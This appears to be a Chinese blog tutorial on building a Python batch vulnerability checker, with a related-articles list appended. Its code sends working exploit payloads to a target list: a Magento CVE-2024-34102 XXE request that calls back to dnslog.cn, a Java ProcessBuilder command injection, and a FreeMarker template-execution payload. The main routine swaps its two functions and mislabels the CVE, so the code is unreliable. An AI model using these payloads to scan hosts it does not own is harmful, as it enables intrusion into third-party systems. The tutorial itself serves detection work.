快速编写一款python漏洞批量检测工具

一、前言

以下列检测脚本示列:

 import requestsimport urllib3import re,string,randomfrom urllib.parse import urljoinimport argparseimport timeimport sslssl._create_default_https_context = ssl._create_unverified_contexturllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def banner():print()print(r''' ______     _______     ____   ___ ____  _  _        ____   ___ _____ __/ ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \ / _ \___  / /_| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | | | | / / '_ \| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/| |_| |/ /| (_) |\____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|\___//_/  \___/_____|___  |/ // //_/''')print()def read_file(file_path):with open(file_path, 'r') as file:urls = file.read().splitlines()return urlsdef check(url):url = url.rstrip("/")taeget_url = urljoin(url, "/rest/V1/guest-carts/1/estimate-shipping-methods")try:headers = {"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36","Content-Type": "application/json"}getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)domain = str(getdomain.text)data = """{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://%s","dataIsURL":true,"options":12345678}}}}}}"""%(domain)requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25)for i in range(0, 3):refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)time.sleep(1)if domain in refresh.text:print(f"\033[31mDiscovered:{url}:AdobeMagento_CVE-2024-34102_XXE!\033[0m")return Trueexcept Exception as e:passif __name__ == "__main__":banner()parser = argparse.ArgumentParser(description='AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本')parser.add_argument("-u", "--url",type=str, help="单个URL检测")parser.add_argument("-f", "--txt",type=str, help="批量URL文件加载检测")args = parser.parse_args()if args.url:read_file(args.url)elif args.txt:check(args.txt)else:parser.print_help()

以上批量检测代码的主要功能点:

1.banner函数模块,用于展示图形化标识,以美化展示脚本

2.read_file函数模块,用于批量读取文件中的url地址

3.check函数模块,用于对漏洞进行检测,这里最好使用BP进行构造,根据响应包中的返回值进行规则匹配

4.main函数模块,主要调用以上3个函数,以及引用命令行解析器 parser

二、导入python包

可使用python PyCharm Community 错误功能检测出需要导入的包

 
 import requestsimport urllib3import re,string,randomfrom urllib.parse import urljoinimport argparseimport timeimport sslssl._create_default_https_context = ssl._create_unverified_contexturllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

image-20240801024603100

三、函数功能模块

1.banner标识函数功能
 def banner():print()print(r''' ______     _______     ____   ___ ____  _  _        _____ _  _   _  ___/ ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ /| || | / |/ _ \| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| || |_| | | | || |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__) |__   _| | |_| |\____|  \_/  |_____|   |_____|\___/_____|  |_|      |____/   |_| |_|\___/____|___ \__) |/ __/|_____|''')print()

功能:该函数打印出一个图形化的 banner

在线生成工具:http://www.network-science.de/ascii/

或者使用pyfiglet进行本地生成,可将生成的code在python代码中进行替换

 pip install pyfigletC:\Users\test>pyfiglet CVE-2024-34102______     _______     ____   ___ ____  _  _        _____ _  _   _  ___/ ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ /| || | / |/ _ \| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| || |_| | | | || |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__) |__   _| | |_| |\____|  \_/  |_____|   |_____|\___/_____|  |_|      |____/   |_| |_|\___/____|___ \__) |/ __/|_____|
2.read_file函数模块

功能:该函数读取指定文件中的每一行,并返回一个包含这些行内容(假设为URL)的列表

注意:该代码模块,可固定不变

 def read_file(file_path): #定义一个名为read_file的函数,该函数接受一个参数file_path,表示文件的路径with open(file_path, 'r') as file: #使用open函数以读取模式('r')打开指定路径的文件,并将文件对象赋值给变量file。with语句确保在代码块结束后文件会自动关闭urls = file.read().splitlines()#读取文件的全部内容,并将其按行分割成一个列表。每行的内容作为列表的一个元素。splitlines()方法会移除每行的换行符return urls  #返回一个包含所有URL的列表
3.check函数模块

注意:这里可根据实际情况进行修改

 def check(url):#定义一个名为check的函数,接受一个参数url,表示要检查的URLurl = url.rstrip("/")#去掉URL末尾的斜杠(如果有的话)taeget_url = urljoin(url, "/rest/V1/guest-carts/1/estimate-shipping-methods")#使用urljoin函数将给定的URL与指定路径拼接,生成目标URLtry:#尝试执行以下代码块,如果发生异常则跳到except块headers = {"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36","Content-Type": "application/json"}#设置HTTP请求头,headers包含User-Agent和Content-Type,Content-Type是post请求包格式getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)#向dnslog.cn发送一个GET请求以获取一个唯一的域名,这个域名将用来检测漏洞。domain = str(getdomain.text)#将响应内容转换为字符串并赋值给变量domaindata = """{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://%s","dataIsURL":true,"options":12345678}}}}}}"""%(domain)#构造一个包含domain的JSON数据字符串,目的是利用该漏洞进行攻击requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25)#向目标URL发送一个POST请求,携带构造的JSON数据for i in range(0, 3): #循环3次检查DNS记录是否包含该域名refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)#向dnslog.cn发送请求以获取DNS记录time.sleep(1)if domain in refresh.text:#果DNS记录中包含该域名,表示漏洞存在print(f"\033[31mDiscovered:{url}:AdobeMagento_CVE-2024-34102_XXE!\033[0m")#打印发现漏洞的信息return True#返回True表示检测到漏洞except Exception as e:#如果在尝试执行上述代码时发生任何异常,捕获异常并忽略pass

检测函数的主要方法:

get类型

def check(url):url = url.rstrip("/")target = url+"/url路径"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"}try:#get请求方法response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)res = urllib.request.urlopen(response)status_code = res.getcode()content = res.read().decode()if status_code == 200 and 'fonts' in content and  'extensions' in content: #主要的匹配漏洞的验证规则print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞)\033[0m")except Exception as e:pass

post类型

 def check1(url):url = url.rstrip("/")target = urljoin(url, "/url路径")headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36","Content-Type":"application/json;charset=UTF-8"  #post数据的格式类型}#post请求数据data = '{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\\"echo\\\",\\\"HelloWorldTest\\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}'try:#POST请求方法response = requests.post(target, verify=False, headers=headers, data = data,timeout=15)if response.status_code == 200 and 'HelloWorldTest' in response.text and 'message' in response.text and 'data' in response.text:   #主要的匹配漏洞的验证规则print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞!\033[0m")return Trueexcept Exception as e:passdef check2(url):url = url.rstrip("/")target = urljoin(url, "/jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action")headers = {"User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95","Content-Type": "application/x-www-form-urlencoded"}data = """moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%2528%2529%2528%2522arp%2520-a%2522%2529%257D%253C%252Fclob%253E&uuid=1"""try:response = requests.post(target, verify=False, headers=headers, data=data, timeout=15)if response.status_code == 200 and ' Internet' in response.text and '</clob>' in response.text:#主要的匹配漏洞的验证规则print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞!\033[0m")return Trueexcept Exception as e:pass  
 

四、主函数功能模块

功能:调用上面函数功能

该部分是脚本的入口,解析命令行参数,如果提供了--url 参数,则单个URL检测;如果提供了--txt 参数,则,对文件中的多个URL地址进行检测

 if __name__ == "__main__":#调用banner函数,显示上面标识图banner()#命令行参数解析器 parserparser = argparse.ArgumentParser(description='AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本')parser.add_argument("-u", "--url",type=str, help="单个URL检测")parser.add_argument("-f", "--txt",type=str, help="批量URL文件加载检测")"""-u: 一个可选的字符串参数,用于指定读取单个URL-f: 一个可选的字符串参数,用于指定读取文件中的urldescription:脚本名称显示:AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本"""args = parser.parse_args()  #调用 parse_args() 方法解析命令行输入的参数,并将解析结果存储在 args 对象中if args.url:read_file(args.url) #如果提供了-u 参数,调用read_file(args.url) 函数,单个URL检测。elif args.txt:check(args.txt)#如果提供了--txt 参数,调用 check(args.txt)函数,对文件中的多个URL地址进行检测else:parser.print_help() #如果没有提供任何参数,调用 parser.print_help() 打印帮助信息,提示用户如何使用该脚本

五、脚本运行展示效果

image-20240801042010871

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/145228.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

如何给zip文件设置自动加密,保护压缩包不被随意打开

ZIP是日常生活和工作中经常用到的压缩文件格式&#xff0c;对于重要的文件&#xff0c;我们往往还会设置打开密码&#xff0c;保护压缩包不被随意打开。 如果每次压缩文件都要设置一次密码&#xff0c;操作久了还是有点麻烦&#xff0c;那有没有一种方法&#xff0c;只要压缩文…

usemeno和usecallback区别及使用场景

1. useMemo 用途: useMemo 用于缓存计算结果。它接受一个函数和依赖项数组&#xff0c;只有当依赖项发生变化时&#xff0c;才会重新计算该函数的返回值。否则&#xff0c;它会返回缓存的值。 返回值: useMemo 返回的是函数执行后的结果。 使用场景: 当一个计算量大的函数在每…

openCV3.0 C++ 学习笔记补充(自用 代码+注释)---持续更新 三(61-)

环境&#xff1a;OpenCV3.2.0 VS2017 61、轮廓集合重排序(按轮廓面积从小到大) //对轮廓集合面积从大到小排序 bool compareValue_bs(const std::vector<cv::Point> & c1, const std::vector<cv::Point> & c2) {int area1 cv::contourArea(c1);int area…

【Python进阶】requests库有哪些常用的参数和方法?一篇文章带你详细了解!!!附带源码

常用的requests库参数和方法 常用方法 requests库中定义了多个常用的请求方法&#xff0c;其中requests.get()和requests.post()是最常用的方法。这些方法对应于HTTP协议中的GET和POST方法。 requests.get(url, paramsNone, **kwargs): 用于发送GET请求。requests.post(url…

116页可编辑PPT全面了解数据治理体系、平台,数据质量数据标准

概览 《行业大数据治理平台》是一个全面深入探讨大数据治理的PPT文档&#xff0c;共116页&#xff0c;涵盖了建设背景、解决方案、核心功能以及实际应用案例等多个方面。 核心议题 数据作为资产的重要性和全生命周期管理。信息系统建设方案的演变及其面临的问题。数据资产运营…

鸿蒙Harmony-Next 徒手撸一个日历控件

本文将介绍如何使用鸿蒙Harmony-Next框架实现一个自定义的日历控件。我们将创建一个名为CalendarView的组件&#xff08;注意,这里不能叫 Calendar因为系统的日历叫这个&#xff09;,它具有以下功能: 显示当前月份的日历支持选择日期显示农历日期可以切换上一月和下一月 组件…

[译] Go语言的源起,发展和未来

本篇内容是根据2019年9月份Creating the Go programming language音频录制内容的整理与翻译, 两位主持人与Go 的创始人 Rob Pike 和 Robert Griesemer谈论了 Go 的起源、发展、影响和未来。这是一个史诗般的剧集&#xff0c;深入探讨了 Go 的历史和详细信息&#xff0c;以及他们…

web基础—dvwa靶场(十一)CSP Bypass

CSP Bypass(CSP 绕过) 内容安全策略&#xff08;CSP&#xff09;用于定义脚本和其他资源可以从何处加载或执行&#xff0c;本模块将指导您根据开发人员犯下的常见错误来绕过该策略。 这些漏洞都不是 CSP 中的实际漏洞&#xff0c;它们都是实现 CSP 的方式中的漏洞。 绕过内容安…

JAVA——IO_缓冲流

目录 一、字节缓冲流 二、字符缓冲流 字符缓冲输入流( BufferedReader ) 字符缓冲输出流&#xff08; BufferedWriter ) 缓冲流作用&#xff1a;对原始流进行包装&#xff0c;以提高原始流读写数据的性能 一、字节缓冲流 1. 作用&#xff1a;提高字节流读写数据的性能 2…

使用scp命令从本地往服务器传输文件失败

解决办法&#xff1a; 找到这个文件&#xff0c;打开&#xff0c;将里面的服务器ip对应的一行数据删掉即可。

【Python报错已解决】To update, run: python.exe -m pip install --upgrade pip

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 专栏介绍 在软件开发和日常使用中&#xff0c;BUG是不可避免的。本专栏致力于为广大开发者和技术爱好者提供一个关于BUG解决的经…

麒麟操作系统快捷键设置

这些是银河麒麟操作系统常用的快捷键&#xff0c;和Windows系统有点儿相似。 但也有一些快捷键为未列出来&#xff0c;如CtrlALTT打开终端&#xff0c;Ctrld关闭终端&#xff0c;F2&#xff1a;重命名&#xff1b; CtrlshiftN&#xff1a;新建文件夹。

虚拟机ens33网卡不显示inet地址(已设置NOBOOT为yes)

在虚拟机中输入ifconfig或ip addr时&#xff0c;出现如下情况&#xff1a; sudo dhclient ens33sudo ifconfig ens33依次执行上面两行&#xff0c;之后发现ens33中可以显示inet了 本虚拟机的地址就是192.168.244.131

ABAP 一步一步教你添加ALV界面菜单功能按钮

ABAP 一步一步教你添加菜单功能按钮。 程序里面找到这个组件小按钮 就可以看到GUI状态了。 在修改GUI STATUS 是如果要添加一个功能按钮&#xff0c;必须先创建一个功能键&#xff08;具体参照下方&#xff09;&#xff0c;之后再在应用程序工具栏输入该功能键的功能码否则报…

Windows上创建批处理.bat文件并且注册为开机自启(Python-web微服务)

1. winodws桌面点击创建文本文件 &#xff08;文件名称.txt&#xff09; 2. 将如下代码写入txt文件中 echo off if "%1""h" goto begin start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h"…

百元学生党头戴式耳机选哪个?四款热门天花板机型推荐

当前市场上&#xff0c;耳机产品的竞争愈发激烈&#xff0c;降噪技术也日益精进。回想过去&#xff0c;要想享受到优质的降噪体验&#xff0c;动辄需要花费数千元&#xff0c;但现在&#xff0c;高品质的降噪耳机已经降至百元级别。在众多降噪耳机中&#xff0c;头戴式耳机尤为…

网站SEO,该如何规范目标网站URL配置!

随着互联网技术的飞速发展&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;在网站建设和运营中的重要性日益凸显。优化目标网站的URL配置&#xff0c;作为SEO策略中的关键环节&#xff0c;对于提升网站在搜索引擎中的排名和曝光度具有至关重要的作用。大连蝙蝠侠科技将从U…

掌握IT资产发现的三个步骤

IT 资产生态系统非常复杂&#xff0c;因为资产不断变化&#xff0c;包括新增资产、移除过时资产或修改现有资产。在这种动态环境中&#xff0c;IT 资产管理者很难全面查看所有拥有的资产。 根据Gartner的预测&#xff0c;到 2025 年&#xff0c;大约 30% 的关键基础设施组织将…

Hutool树结构工具-TreeUtil构建树形结构

1 pom.xml <dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.26</version> </dependency> 2 核心代码 import cn.beijing.satoken.domain.ZhiweiCityArea; import cn.beijing.sa…

机器人上的DPDK使用思考

引言 项目背景 人形机器人作为智能技术的集大成者&#xff0c;正逐步从科幻电影走进现实生活&#xff0c;广泛应用于工业制造、医疗健康、家庭服务等多个领域。在这一发展过程中&#xff0c;传感器技术的飞速发展和物联网技术的广泛应用&#xff0c;极大地提升了人形机器人对…